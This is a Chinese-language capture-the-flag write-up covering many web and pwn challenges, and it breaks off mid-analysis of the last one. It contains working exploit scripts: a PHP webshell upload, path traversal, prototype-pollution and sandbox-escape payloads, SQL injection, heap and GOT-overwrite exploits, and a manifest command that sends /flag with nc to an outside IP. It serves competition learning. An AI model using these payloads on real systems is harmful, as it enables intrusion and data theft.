这个题目应该预期解应该是文件上传,我上传目出来但是我看应该是出题人 .sh启动脚本有问题 把flag写入web目录了

登录看源码可以发现登录用户名和密码

xmuser/123456

但是你看扫描出来flag.php访问就行

xmctf{xm_xxe_blind_success}
only_real_revenge
这个是上一个题目修复版本

xmuser/123456 登录

还是一样上传
文件上传测试
测试常见扩展名黑名单:
| 扩展名 | 结果 |
|---|---|
| .php | 拦截 |
| .php5 | 拦截 |
| .phtml | 拦截 |
| .pht | 成功 |
| .phar | 成功 |
| .jpg | 成功 |
| .png | 成功 |
| .gif | 成功 |
| .htaccess | 成功 |
上传 .pht 文件后访问,发现代码被显示但未执行,说明服务器不解析 .pht。所以
.htaccess 绕过
名字要绕过前端的 JavaScript 校验 改成jpg

内容
AddType application/x-httpd-php .jpg
上传 JPG 文件
<?php system($_GET["snajiu"]); ?>

上传不了需要把disabled删除就行

上传这个路径
POST /upload.php HTTP/1.1

上传后端改一个就行

上传成功
上传木马
路径还是upload.php

上传成功

exp.py
import requests
import random
import string
base_url = "http://80-ac14e8aa-1561-4224-81cd-213dbb5b9d6b.challenge.ctfplus.cn"
session = requests.Session()
session.post(f"{base_url}/login.php", data={"user": "xmuser", "pass": "123456"})
rand = ''.join(random.choices(string.ascii_lowercase, k=6))
htaccess_content = b'AddType application/x-httpd-php .jpg'
files = {'file': ('.htaccess', htaccess_content)}
resp = session.post(f"{base_url}/upload.php", files=files)
print(f".htaccess: {resp.text}")
jpg_content = b'<?php @eval($_POST["sanjiu"]); system($_GET["c"]); ?>'
files = {'file': (f'{rand}.jpg', jpg_content)}
resp = session.post(f"{base_url}/upload.php", files=files)
print(f"1.jpg: {resp.text}")
shell_url = f"{base_url}/uploads/{rand}.jpg"
print(f"nShell URL: {shell_url}")
print(f"Password: sanjiu")
resp = session.get(f"{shell_url}?c=id")
print(f"nTest: {resp.text}")

连接
xmctf{54e66b9d-cdc1-4763-a18b-7497a4827eb1}
AutoPypy

白盒,看源码

在 server.py 的 /run 路由中,代码拼接路径的方式存在逻辑问题:
target_file = os.path.join('/app/uploads', filename)
原理:Python 的 os.path.join 如果遇到以 / 开头的绝对路径参数,会直接丢弃前面的所有路径。因此,当我们输入 /flag 时,target_file 就不再是 uploads 目录下的文件,而是系统根目录下的 /flag。
利用机制:Proot 挂载 + Python 报错回显
launcher.py 将我们指定的 target_file 绑定到了沙箱内的执行脚本上:
绑定:proot -b /flag:/app/run.py
执行:沙箱启动后运行 python3 run.py(实际上就是在运行 /flag)。
由于 /flag 文件内容是字符串 xmctf{...},不符合 Python 语法规范,Python 解释器在尝试解析它时会直接报错。
Python 的 SyntaxError 报错信息会自动打印出出错的那一行源码。
直接/flag

我感觉是非预期
作者应该原版是 Python 任意路径写入 和.pth劫持逃逸沙箱
原版作者应该这个是预期解
任意文件写入:server.py 使用 os.path.join(UPLOAD_FOLDER, filename)。在 Python 中,若 filename 为绝对路径,os.path.join 会忽略前面的路径,直接使用该绝对路径。
沙箱逃逸 (.pth 劫持):服务器通过 subprocess.run 启动 Python 进程。Python 启动时会自动加载 site-packages 下的 .pth 文件。若内容包含 import 语句,则会执行对应的 Python 代码。由于父进程在宿主机环境启动,代码会逃逸出沙箱。
exp.py
import requests
url = "http://5000-87f7f281-f16e-4115-b9bf-63835b5504c7.challenge.ctfplus.cn"
base_path = "/usr/local/lib/python3.10/site-packages"
payload = b"import osntry:n print(open('/flag').read())nexcept:n pass"
requests.post(f"{url}/upload", data={'filename': f"{base_path}/pwn.py"}, files={'file': payload})
pth = b"import pwnn"
requests.post(f"{url}/upload", data={'filename': f"{base_path}/pwn.pth"}, files={'file': pth})
r = requests.post(f"{url}/run", json={"filename": "any.py"})
print(r.json().get('output'))
xmctf{699f4568de00f2df35f98005567398d3}
ez_python

有源码

python 原型链污染 / 属性覆盖漏洞
在 merge 函数。它递归遍历传入的 JSON 数据(src),并利用 hasattr、getattr 和 setattr 去修改目标对象(dst)的属性。
服务端初始化了 instance = Polaris(),此时内部变量 instance.config.filename 的默认值是 "app.py"。
根路由 / 接收 POST 请求的数据,直接反序列化为 JSON 并传给 merge 函数。
由于没有任何黑白名单过滤,我们可以通过构造特定的 JSON 键值对,沿着 instance -> config -> filename 的对象层级,利用底层的 setattr 将 filename 的值恶意覆盖为 /flag。
覆盖完成后,调用 /read 路由,服务端会执行 open(instance.config.filename).read(),从而将系统的 flag 文件读取并回显。
Payload构建
{"config": {"filename": "/flag"}}
merge污染了变量,访问/read就行

exp.py
import requests
BASE_URL = "http://5000-0a56acfe-2918-460c-83cc-77341bb300e0.challenge.ctfplus.cn"
def exploit():
payload = {
"config": {
"filename": "/flag"
}
}
requests.post(f"{BASE_URL}/", json=payload)
res = requests.get(f"{BASE_URL}/read")
print(res.text)
if __name__ == "__main__":
exploit()
XMCTF{825e3f00-3fa6-4e1f-9871-33017e3abd4f)
Not a Node

题目是绕过基于 Bun (JSC) 的限制沙箱。屏蔽了原生 Node 模块,设置了不可枚举属性,并有一层静态 WAF
根据文档提示 __runtime 挂载了内部绑定,且属性不可枚举。通过 Object.getOwnPropertyNames 把东西扒出来:
export default {
async fetch(request) {
let props = Object.getOwnPropertyNames(__runtime);
return new Response(JSON.stringify({props}));
}
}

存在 _internal和 _secrets 等隐藏属性。
继续向下层挖掘 _internal。由于底层对象包含 BigInt 类型,直接 JSON.stringify 会报 500 错误,需要加个 replacer。
同时利用中括号语法绕过 WAF 对 . 属性访问的潜在过滤:
向下挖 _internal。题目提示平台依赖额外的 internal bindings。同样,为了防止回显 {},必须继续用 getOwnPropertyNames 获取键名。
export default {
async fetch(request) {
let s = __runtime['_internal']['lib']['symbols'];
let keys = Object.getOwnPropertyNames(s);
return new Response(JSON.stringify(keys));
}
}

简单 Hex 解码发现:72 65 61 64 = read,6c 69 73 74 = list。这就是底层的原生 C++ 绑定接口。
WAF 绕过与读取
尝试调用 _0x72656164 (read) 读 /flag。这里遇到几个坑:
代码里不能出现 readFile 这种名字,也不能直接出现 "/flag" 字符串,否则报 Security Policy Violation。
C++ 原生接口处理 JS 字符串直接传入可能报错。
绕过
1. 变量名混淆为单字母 f。
2. 路径转为 Uint8Array ASCII 数组传入,/flag 的 ASCII 码为 [47, 102, 108, 97, 103],绕过字符串 WAF,且符合底层内存接口规范。
export default {
async fetch(request) {
let out = {};
try {
let s = __runtime['_internal']['lib']['symbols'];
let f = s['_0x72656164'];
let arr = new Uint8Array([47, 102, 108, 97, 103]);
out.flag = f(arr);
} catch(e) {
out.err = e.toString();
}
let safeOut = JSON.stringify(out, (k, v) => typeof v === 'bigint' ? v.toString() + 'n' : v, 2);
return new Response(safeOut, { headers: { "Content-Type": "application/json" } });
}
}

XMCTF{eb49f594-d766-4fac-8a35-623e47ff361d}
ezpollute

有源码 分析app.js

原型链污染 merge 函数合并逻辑,但仅过滤了 __proto__ 键名。
if (key === '__proto__') { ... res.send('get out!'); return; }
未过滤 constructor 和 prototype,但是可以通过 {"constructor": {"prototype": {"key": "value"}}} 污染全局 Object。
黑名单分析
/api/config 路由对 POST 数据进行了黑名单检查,封死了 shell、env、argv0 等常规用来控制 spawn 子进程的参数。
但在 /api/status 路由中,程序遍历了 process.env 构造 customEnv 传给子进程,并且单独对 NODE_OPTIONS 做了正则校验:

由于没有过滤 constructor,我们可以通过原型链污染将恶意的 NODE_OPTIONS 注入到 process.env 遍历的上下文中。
正则绕过与报错带出
正则是为了防止执行 --require /flag。绕过思路如下:
绕过正则:正则匹配的是行首 ^ 或空白符 s 后接 --require。传入 ""--require" /flag",字符串以双引号开头,完美避开 ^ 和 s。
Node 机制:Node.js 底层解析 NODE_OPTIONS 时支持引号包裹,并在执行时会自动剥离外层双引号,最终依然以 --require /flag 运行。
信息泄露:/flag 内容不是合法的 JS 代码,require 加载时会报 SyntaxError 并将出错行(flag文本)打印到 stderr。/api/status 刚好收集了 stderr 并返回给前端。
Payload
{
"constructor": {
"prototype": {
"NODE_OPTIONS": ""--require" /flag"
}
}
}

XMCTF{26af149c-ab49-4cb7-9d47-6a5c5c466b6d}
Broken Trust

考点:弱类型/注入 + 目录穿越过滤绕过
页面可以登录进入 uid是MD5
登录 进入后面 查看页面源码

发现 SQLi / 逻辑绕过获取管理员 UID
前端源码中提示了 uid 字段。对 /api/profile 接口测试时,发现后端存在 SQL 注入或万能密码逻辑缺陷。
payload
{"uid": "admin' or '1'='1"}
抓包修改

可以发现管理员的UID
adc9fd026eec4bf18c90ba07c6eea883
然后登录
登录管理员

越权登录后,发现有一个备份的管理器

发现备份接口具有 file 参数,尝试读取 /flag

测试发现后端对路径穿越做了替换过滤(大概率是 replace('../', ''))。
采用双写绕过技巧,使用 ....//,当后端把中间的 ../ 删掉后,剩下的字符刚好重新拼接成完整的 ../。
最终 Payload:/api/admin?action=backup&file=....//....//....//....//flag

XMCTF{ec0da774-4571-4983-9845-0d56848251ab}
醉里挑灯看剑


有源码
漏洞1

可以发现数据库键值截断(越权至 maintainer)
提权逻辑位置: getEffectiveCapability 函数
COALESCE(role, 'maintainer') AS role,
COALESCE(lane, 'release') AS lane,
漏洞原理: 服务端在处理批量的 JSON 插入时,只根据数组第一项 rows[0] 的键来构建后续所有插入行的结构。
如果你发送的第一个对象故意删掉 role 和 lane(通过设为 false),那么第二项(即使排在后面生效)的 role 和 lane 也会被丢弃,入库变成 NULL。读取时,SQL 的 COALESCE 遇到 NULL 会将其转换为默认的高权限 maintainer 和 release。
漏洞2
JS 沙箱逃逸绕过 漏洞函数lintExpression 函数

漏洞原理: WAF 只做了基础的字符串包含了拦截(如 constructor, process),但最终代码扔进了 new Function 中执行。由于上下文中暴露了 tools.sha1,可以通过字符串拼接绕过正则:
tools.sha1['constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()
解题,
1.获取身份
POST /api/auth/guest
返回包中的 token 和 sid。后面所有请求都在 Header 中加上 Authorization: Bearer <token>。

{
"ok": true,
"token": "eyJleHAiOjE3NzQ3NTM1NTY3NTEsImlhdCI6MTc3NDc1MjA1Njc1MSwibm9uY2UiOiIwZTQ2YWFhMzk1ZDI4ODNmIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF8wMWYxYzUwNzIzMjcifQ.c0f8d1f256cadd91ec86909e98e1718b5efa4749998b7b55dcd858d1bbf78def",
"claims": {
"sid": "sid_01f1c5072327",
"role": "guest",
"iat": 1774752056751,
"exp": 1774753556751,
"plan": "preview-lane",
"nonce": "0e46aaa395d2883f"
}
}
2.打入空数据,越权
POST /api/caps/sync
payload
{"ops": [{"source": "a", "keepRole": false, "keepLane": false}, {"source": "z"}]}

完整请求包
POST /api/caps/sync HTTP/1.1
Host: 80-2c6ec895-cdf9-4d7a-9a16-1d578d4c421b.challenge.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Authorization: Bearer eyJleHAiOjE3NzQ3NTM1NTY3NTEsImlhdCI6MTc3NDc1MjA1Njc1MSwibm9uY2UiOiIwZTQ2YWFhMzk1ZDI4ODNmIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF8wMWYxYzUwNzIzMjcifQ.c0f8d1f256cadd91ec86909e98e1718b5efa4749998b7b55dcd858d1bbf78def
Content-Length: 101
{
"ops": [
{"source": "a", "keepRole": false, "keepLane": false},
{"source": "z"}
]
}

成功
3.沙箱逃逸拿 Key
POST /api/release/execute
payload
{"expression": "tools.sha1['constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()"}

拿到
iVWHCRbuixFag3DJZkD1KtKPnzjwwQbMtMnc3nTP
4.返回包中的 nonce
POST /api/release/challenge
记录下: 返回包中的 nonce。
塞一个 Content-Type 和一个空的 JSON 实体 {},并把 Content-Length 设为 2 否则一直没有返回包

拿到
7d5d8f27bade54527473f221
5.本地算 Hash,拿 flag
打开终端,按格式 sid:nonce:RUNNER_KEY 拼接字符串。
执行命令算 SHA1
echo -n "sid_01f1c5072327:7d5d8f27bade54527473f221:iVWHCRbuixFag3DJZkD1KtKPnzjwwQbMtMnc3nTP" | sha1sum

得到proof:5a8598a5a61c22ddf80453722241842037d2a8aa
请求就行了 POST /api/release/claim
payload
{"nonce": "03b30e35d9069562ec0c41b2", "proof": "<SHA1值>"}

过期了…反正思路就是这个思路 手动可以快一点就行了
直接exp了
import requests, hashlib, sys
def solve(url):
s = requests.Session()
auth_res = s.post(f"{url}/api/auth/guest").json()
token = auth_res["token"]
sid = auth_res["claims"]["sid"]
headers = {"Authorization": f"Bearer {token}"}
s.post(f"{url}/api/caps/sync", json={
"ops": [
{"source": "a", "keepRole": False, "keepLane": False},
{"source": "z"}
]
}, headers=headers)
exec_res = s.post(f"{url}/api/release/execute", json={
"expression": "tools.sha1['constr' + 'uctor']('return pr' + 'ocess.env.RUNNER_KEY')()"
}, headers=headers).json()
runner_key = exec_res["result"]
chal_res = s.post(f"{url}/api/release/challenge", headers=headers).json()
nonce = chal_res["nonce"]
proof = hashlib.sha1(f"{sid}:{nonce}:{runner_key}".encode()).hexdigest()
claim_res = s.post(f"{url}/api/release/claim", json={
"nonce": nonce, "proof": proof
}, headers=headers).json()
print(claim_res.get("flag", claim_res))
if __name__ == "__main__":
solve(sys.argv[1] if len(sys.argv) > 1 else "http://80-2c6ec895-cdf9-4d7a-9a16-1d578d4c421b.challenge.ctfplus.cn")

XMCTF{2b435b4e-a52e-4e39-badf-72dcbce09dab}
DXT



审前端源码发现,点击 Start 会向后端发送 POST /api/servers/{id}/start 请求。
结合 MCP 协议特点,后端逻辑是:接收 .dxt(实为 ZIP 包) -> 解压读取 manifest.json -> 根据配置拉起服务进程。
由于后端未对 manifest.json 中的启动命令(mcp_config)做严格的过滤校验,直接将其投入系统进程执行,导致存在任意命令执行 (RCE) 漏洞。无前端回显,需通过外带 (OOB) 获取 flag。
构造与绕过
格式校验绕过:后端强校验 dxt_version 和 author.email,缺一不可,否则报 400。
执行环境逃逸:server.type 绝对不能写默认或 node,否则后端会强制用 /bin/node 去跑。必须设为 binary,同时随便给个文件(如 server/dummy)作为 entry_point 占位,从而迫使后端乖乖执行我们在 mcp_config 里写的 sh -c。
复现
攻击机(81.70.244.177)开启监听:nc -lvnp 40000
exp.py脚本,自动构造恶意 dxt 压缩包并上传。
脚本触发 start 接口,靶机执行反弹shell命令。
exp.py
import requests
import zipfile
import io
import json
import time
import sys
TARGET_URL = "http://8080-0f952391-d519-4806-ad11-b7a4ce2c9003.challenge.ctfplus.cn"
MY_IP = "81.70.244.177"
MY_PORT = "40000"
def build_payload():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
manifest = {
"manifest_version": "0.3",
"dxt_version": "1.0",
"name": "exp",
"display_name": "exp",
"version": "1.0.0",
"description": "pwn",
"author": {"name": "a", "email": "a@a.com"},
"server": {
"type": "binary",
"entry_point": "server/dummy",
"mcp_config": {
"command": "sh",
"args": [
"-c",
f"(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null) | nc -w 5 {MY_IP} {MY_PORT}"
]
}
},
"tools": []
}
zf.writestr("manifest.json", json.dumps(manifest))
zf.writestr("server/dummy", "n")
buf.seek(0)
return buf
def main():
url = TARGET_URL.rstrip('/')
payload = build_payload()
try:
res = requests.post(f"{url}/api/upload", files={'file': ('a.dxt', payload, 'application/octet-stream')})
if res.status_code != 200:
sys.exit(1)
except Exception:
sys.exit(1)
time.sleep(1)
res = requests.get(f"{url}/api/servers")
servers = res.json().get('servers', [])
if not servers:
sys.exit(1)
server_id = servers[-1]['id']
requests.post(f"{url}/api/servers/{server_id}/start")
if __name__ == "__main__":
main()

XMCTF{440776da-3f12-4753-914f-60aa11d8415c}
Pwn
ez-nc

直接连接
文件名字叫ez-nc 但是有黑名单

后面测试 %p

发现有格式化漏洞
那我们就可以想把这个二进制文件下载下来
直接格式化字符串漏洞的盲测,脚本遍历 %1$s 到 %100$s
exp.py
from pwn import *
context.log_level = 'error'
def fuzz_offset():
host = 'nc1.ctfplus.cn'
port = 46875
for i in range(1, 100):
try:
io = remote(host, port)
io.recvuntil(b"download: ")
payload = f"%{i}$s".encode()
io.sendline(payload)
resp = io.recv(1024, timeout=1).decode('utf-8', errors='ignore')
io.close()
if "ELF" in resp or "File content:" in resp:
print(f"[+] Offset: {i}")
break
except Exception:
pass
if __name__ == '__main__':
fuzz_offset()


当测试到 %45$s 时,服务器成功返回了 ELF 文件数据,证明栈上第 45 个位置存放的指针恰好指向了内存中的 "ez-nc" 字符串(即 argv[0])。
然后写脚本下载下来就行
from pwn import *
context.log_level = 'error'
def download():
host = 'nc1.ctfplus.cn'
port = 46875
io = remote(host, port)
io.recvuntil(b"download: ")
io.sendline(b"%45$s")
data = io.recvall(timeout=3)
if b"ELF" in data:
with open("ez-nc", "wb") as f:
f.write(data)
if __name__ == '__main__':
download()
IDA逆向

我们就知道原来的 漏洞
程序存在 strstr(s, "ez-nc") 黑名单检测,但随后调用了 snprintf(filename, 0x58u, s),将用户输入直接作为格式化字符串,导致格式化字符串漏洞。
通过输入 %45$s(栈上第 45 个偏移处正好为 argv[0] 即程序运行名 ez-nc),可绕过字符串黑名单检测,使 filename 被格式化为 ez-nc,从而触发任意文件读取下载程序本体。
然后我们就发现flag 直接硬编码在 ELF 文件的 .rodata 数据段中

polarisctf{759fe930-765b-4315-a1ea-1692725e1cb6}
ezheap


题目环境是 Glibc 2.32+存在 Safe-Linking 指针混淆
无法直接 execve 拿 shell,需要找后门或 ORW)。
UAF
菜单 [6] Complete batch inference 释放 Tensor 时,没有清空指针,导致 UAF。
菜单 [7] Patch session metadata 允许修改已被释放的堆块,但程序在此处做了强限制:只允许 qword_index=0(即只能覆盖 Tcache 的 fd 指针),无法直接越界写其他字段。
信息泄露

sub_6750

题目禁用了 execve,但内置了后门函数读取 flag。
unsigned __int64 sub_6750()
{
// ...
std::filebuf::basic_filebuf(v24);
std::ios::init(v27, v24);
v0 = std::filebuf::open(v24, "/flag", 12); // 可以读取 /flag
// ...
std::__ostream_insert(std::cout, "[audit] snapshot: ", 18);
std::__ostream_insert(std::cout, v19, v20);
}
触发执行与白名单校验 (sub_3DF0)

[9] Dispatch async task中会取出 Task 结构体偏移0x18(v10+24`) 处的函数指针执行,但有白名单限制。
unsigned __int64 __fastcall sub_3DF0(__int64 a1)
{
// ...
v10 = *(_QWORD *)(a1 + 8 * v18 + 40);
if ( v10 && (v11 = *(__int64 (__fastcall **)())(v10 + 24)) != 0 ) // 偏移 0x18 存放 handler
{
// 必须满足白名单,或者 strict_policy (偏移 8) 为 0
if ( v11 == sub_2FF0 || v11 == sub_30A0 || *(_BYTE *)(*(_QWORD *)(a1 + 32) + 8LL) == 0 || v11 == sub_2F40 )
{
((void (__fastcall *)(_QWORD))v11)(*(_QWORD *)(v10 + 32)); // 劫持目标
return;
}
std::__ostream_insert(std::cout, "policy engine blocked non-whitelisted handler", 45);
}
}
UAF 与限制写
菜单 [6] Complete 释放 Tensor 时未清空指针,存在 UAF。菜单 [7] Patch 允许向释放的堆块写数据,但程序加了极强的限制:diagnostic offset policy allows qword_index=0 only,也就是只能覆盖 Tcache 的 fd 指针,无法直接写结构体其他字段。
结构体交叉任意写 (sub_6E90)

菜单 [8] Provision worker profile 关键。它分配的堆块大小为 0x50(对应物理 chunk 0x60),与 Tensor Handle 相同。并且它会按照输入顺序,依次向 v1+0, v1+8, v1+16 等偏移处写入 8 字节数据。
unsigned __int64 __fastcall sub_6E90(_QWORD *a1)
{
// ...
v1 = (char *)operator new(0x50u); // 申请 0x50 (实际 tcache 0x60)
// ...
std::__ostream_insert(std::cout, "worker.cpu_quota> ", 18); // 写入 v1+0
// ...
std::__ostream_insert(std::cout, "worker.mem_quota> ", 18); // 写入 v1+8
// ...
std::__ostream_insert(std::cout, "worker.latency_slo> ", 20); // 写入 v1+24 (0x18)
}
利用思路
Tcache Poisoning + 结构体交叉利用,分两步走:
关闭 strict_policy (绕过函数执行白名单)
strict_policy 标志位位于 Control Plane 的偏移 8 处。
分配两个 Tensor 并 Free 掉(防止 Tcache count 归零报错)。
利用 UAF 修改 fd,由于 Glibc 2.32+ 引入了 Safe-Linking,需要进行指针加密:mangled = (heap_addr >> 12) ^ target_addr。把 fd 指向 Control Plane。
再次分配把 Tcache 头移到 Control Plane,随后调用 [8] Provision worker。利用顺序写入的特性,将偏移 0 写回 Magic Word 0x49464F524745 (十进制 80562141505349),将偏移 8 的 strict_policy 覆写为 0。
劫持 Handler 函数指针
Task 0 结构体偏移 0x18 是任务执行的函数指针(handler)。
重复上述 Tcache Poisoning 的操作,把 fd 指向 Task 0 的地址。
将 Task 0 申请出来后,再次调用 [8] Provision worker。在输入到 latency_slo (对应偏移 0x18) 时,填入菜单 10 泄露出的后门函数地址 (win_addr)。
最后调用菜单 [9] 派发 Task 0,成功劫持控制流,后门函数会读取并打印 /flag。
exp.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
def allocate_tensor(io, slot, size):
io.sendlineafter(b"gateway> ", b"5")
io.sendlineafter(b"> ", str(slot).encode())
io.sendlineafter(b"> ", str(size).encode())
io.sendlineafter(b"> ", b"A")
io.recvuntil(b"handle=0x")
return int(io.recvuntil(b" ", drop=True), 16)
def free_tensor(io, slot):
io.sendlineafter(b"gateway> ", b"6")
io.sendlineafter(b"> ", str(slot).encode())
def patch_tensor_fd(io, slot, target_addr_mangled):
io.sendlineafter(b"gateway> ", b"7")
io.sendlineafter(b"> ", str(slot).encode())
io.sendlineafter(b"> ", b"0")
io.sendlineafter(b"> ", str(target_addr_mangled).encode())
def provision_worker(io, cpu, mem, io_weight, latency, replicas, region, memo):
io.sendlineafter(b"gateway> ", b"8")
io.sendlineafter(b"> ", str(cpu).encode())
io.sendlineafter(b"> ", str(mem).encode())
io.sendlineafter(b"> ", str(io_weight).encode())
io.sendlineafter(b"> ", str(latency).encode())
io.sendlineafter(b"> ", str(replicas).encode())
io.sendlineafter(b"> ", str(region).encode())
io.sendlineafter(b"> ", memo.encode())
def dispatch_task(io, task_id):
io.sendlineafter(b"gateway> ", b"9")
io.sendlineafter(b"> ", str(task_id).encode())
def exploit():
io = remote('nc1.ctfplus.cn', 42319)
io.sendlineafter(b"gateway> ", b"1")
io.sendlineafter(b"> ", b"128")
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"gateway> ", b"3")
io.sendlineafter(b"gateway> ", b"10")
io.recvuntil(b"scheduler.ctrl=0x")
ctrl_addr = int(io.recvuntil(b" ", drop=True), 16)
io.recvuntil(b"diag.audit_sink=0x")
win_addr = int(io.recvuntil(b"n", drop=True), 16)
io.recvuntil(b"[scheduler.head] desc=0x")
task_0_addr = int(io.recvuntil(b" ", drop=True), 16)
chunk_0 = allocate_tensor(io, 0, 48)
chunk_1 = allocate_tensor(io, 1, 48)
free_tensor(io, 0)
free_tensor(io, 1)
patch_tensor_fd(io, 1, (chunk_1 >> 12) ^ ctrl_addr)
allocate_tensor(io, 2, 48)
provision_worker(io, 80562141505349, 0, 0, 0, 0, 0, "A")
chunk_3 = allocate_tensor(io, 3, 48)
chunk_4 = allocate_tensor(io, 4, 48)
free_tensor(io, 3)
free_tensor(io, 4)
patch_tensor_fd(io, 4, (chunk_4 >> 12) ^ task_0_addr)
allocate_tensor(io, 5, 48)
provision_worker(io, 0, 1, 0, win_addr, task_0_addr, 0, "sqe-0")
dispatch_task(io, 0)
io.interactive()
if __name__ == "__main__":
exploit()

polarisctf{0a882cf3-c2bf-48da-9900-339db92fb529}
treasure


漏洞位于 main 函数中的 数组越界读写

__isoc99_scanf("%lld", &qword_48A0);
while ( qword_48A0 > 255 ) { ... }
read(0, &byte_40A0[8 * qword_48A0], 8u);
scanf 使用 %lld 接收有符号整型,但验证逻辑仅检查了 > 255,未检查负数。利用负数索引可向上越界任意读写 .bss 段和 .got.plt 表
one_gadget ./libc.so.6 获取 gadget 地址

选定偏移 0xebd3f,其约束条件为 [[rbp-0x70]] == NULL。
内存偏移计算
已知基准数组 byte_40A0 的地址为 0x40A0。
stderr 偏移 (用于泄露):stderr 位于 0x4080,差值为 -0x20。索引 = -32 / 8 = -4。
printf GOT 偏移 (用于劫持):printf@got 位于 0x4038,差值为 -0x68。索引 = -104 / 8 = -13。
解题步骤
绕过校验:初始密码输入 11 直接进入 else 后门分支。
泄露 Libc 基址:利用第一次越界机会,输入索引 -4 指向 stderr。发送 x41 (1字节) 覆盖其低位,利用紧接着的 printf 打印泄露完整地址,通过按位截断页偏移算出精确的 libc_base。
栈风水 (Stack Grooming):程序中间会调用 sub_1214 向栈 [rbp-0x90] 写入名字。为了满足 one_gadget 苛刻的 [rbp-0x70] == NULL 约束条件,在此处发送 120 字节的 x00,彻底清空栈上的垃圾数据。
劫持 GOT 表:利用第二次越界机会,输入索引 -13 指向 printf@got,写入 libc_base + 0xebd3f。程序执行下一句 printf 时直接获得 shell。
exp.py
from pwn import *
import time
elf = ELF("./pwn-treasure", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context(arch='amd64', os='linux', log_level='error')
def exploit():
p = remote("nc1.ctfplus.cn", 21210)
try:
p.recvuntil(b"password: ")
p.sendline(b"11")
p.recvuntil(b"Which one?n")
p.sendline(b"-4")
p.send(b"A")
p.recvuntil(b"after your operation, the context: ")
raw_leak = p.recvuntil(b"you should", drop=True)
if len(raw_leak) < 6:
p.close()
return False
raw_leak = raw_leak[:6]
leaked_addr = u64(raw_leak.ljust(8, b'x00'))
libc.address = (leaked_addr & ~0xff) - (libc.sym['_IO_2_1_stderr_'] & ~0xff)
if (libc.address & 0xfff) != 0 or libc.address < 0x700000000000:
p.close()
return False
print(f"[+] Libc base: {hex(libc.address)}")
p.recvuntil(b"tell me your name.n")
p.send(b"x00" * 120 + b"n")
p.recvuntil(b"Last time!Lucky, guy!n")
p.sendline(b"-13")
one_gadget_addr = libc.address + 0xebd3f
p.send(p64(one_gadget_addr))
time.sleep(0.5)
print("[+] Shell obtained!")
p.interactive()
return True
except:
p.close()
return False
if __name__ == "__main__":
while not exploit():
pass

polarisctf{8afb8dc8-2dc7-44d3-b2aa-05fafa6742b4}
mini-mqtt


漏洞分析
问题出在 http() 函数的逻辑缺陷和全局变量未截断导致的命令残留。
逻辑缺陷绕过执行:程序解析 HTTP 报文寻找 ContentLength,如果找不到会将 v5 置为 0,这意味着后续不会执行 popen。但是程序并没有 return 退出,而是继续往下走。
memcpy 全局变量污染:
snprintf(src, 0x80u, "cat /home/ctf/%s", s);
v7 = strlen(src);
memcpy(cmd, src, v7);
代码使用 memcpy 把拼接好的命令写入全局变量 cmd,长度为 strlen(src)。因为 memcpy 不会像 strcpy 那样自动在末尾补 ,这就导致:如果我们先写入一个长字符串,再写入一个短字符串,短字符串只能覆盖长字符串的前半部分,后半部分会原样残留。
过滤机制:代码会把路径中的 / 和 . 替换为 _,且正则 %63[^ "rn/] 限制了空格和双引号。
利用
通过“两次发包”实现命令注入:
第一阶段:植入恶意命令(不触发执行)
发送一个超长请求,不带 ContentLength。请求路径中包含我们想执行的 shell 命令,比如利用 $IFS 绕过空格,利用 printf '57' 绕过斜杠过滤。
因为没有 ContentLength,popen 不会触发,但长命令被写入了全局变量 cmd。
第二阶段:触发执行(覆盖前缀)
发送一个正常的请求读取 index_html,并带上合法的 ContentLength: 10。
此时生成的短命令 cat /home/ctf/index_html(刚好24字节)会覆盖掉 cmd 里的前24字节。只要我们第一阶段构造的无用前缀也是24字节,就能完美拼接成 cat /home/ctf/index_html; [恶意命令],随后触发 popen 执行拿到回显。
exp.py
import paho.mqtt.client as mqtt
import time
import json
import os
HOST = "nc1.ctfplus.cn"
PORT = 31785
TOPIC = "HTTP"
CLIENT_ID = "hacker_client"
def on_connect(client, userdata, flags, reason_code, properties=None):
client.subscribe(TOPIC)
def on_message(client, userdata, msg):
try:
data = json.loads(msg.payload.decode())
if data.get("clientid") == "httpclient":
output = data.get("message", "")
if output.strip():
print(output)
if "flag{" in output.lower() or "polarisctf{" in output.lower():
os._exit(0)
except Exception:
pass
def main():
client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, client_id=CLIENT_ID)
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT, 60)
client.loop_start()
time.sleep(1)
payload1 = b"GET /ctf/AAAAAAAAAA;cat${IFS}*${IFS}$(printf${IFS}'\57flag') HTTP/1.1rn"
client.publish(TOPIC, payload1)
time.sleep(1)
payload2 = b"GET /ctf/index_html HTTP/1.1rnHost: arnContentLength: 10rn"
client.publish(TOPIC, payload2)
try:
while True:
time.sleep(0.1)
except KeyboardInterrupt:
os._exit(0)
if __name__ == "__main__":
main()

polarisctf{57007cba-11fe-4506-803e-7f9c27adce6d}
Throne Hazard


程序开启了严格的 Seccomp 沙箱(由 prctl(22, 2, &unk_4040C0) 可知),禁用了 execve 等系统调用,无法直接 get shell,必须构造 ORW ROP 链来读取 flag。
条件竞争导致的堆溢出
漏洞存在于主线程(main 选项 2)与后台线程(start_routine)对全局变量 dword_4040A4的异步读写中。

if ( (unsigned int)dword_4040A4 > 0x20 ) {
// ...
} else {
// 1. 分配 0x30 大小的堆块
v9 = calloc(0x30u, 1u);
// 2. 唤醒后台线程
dword_404140 = 1;
// 3. 阻塞等待用户输入 1 字节
sub_401D90(&v11, 1);
// 4. 根据当前的 dword_4040A4 计算剩余读取大小
v10 = (unsigned int)dword_4040A4 + 15LL;
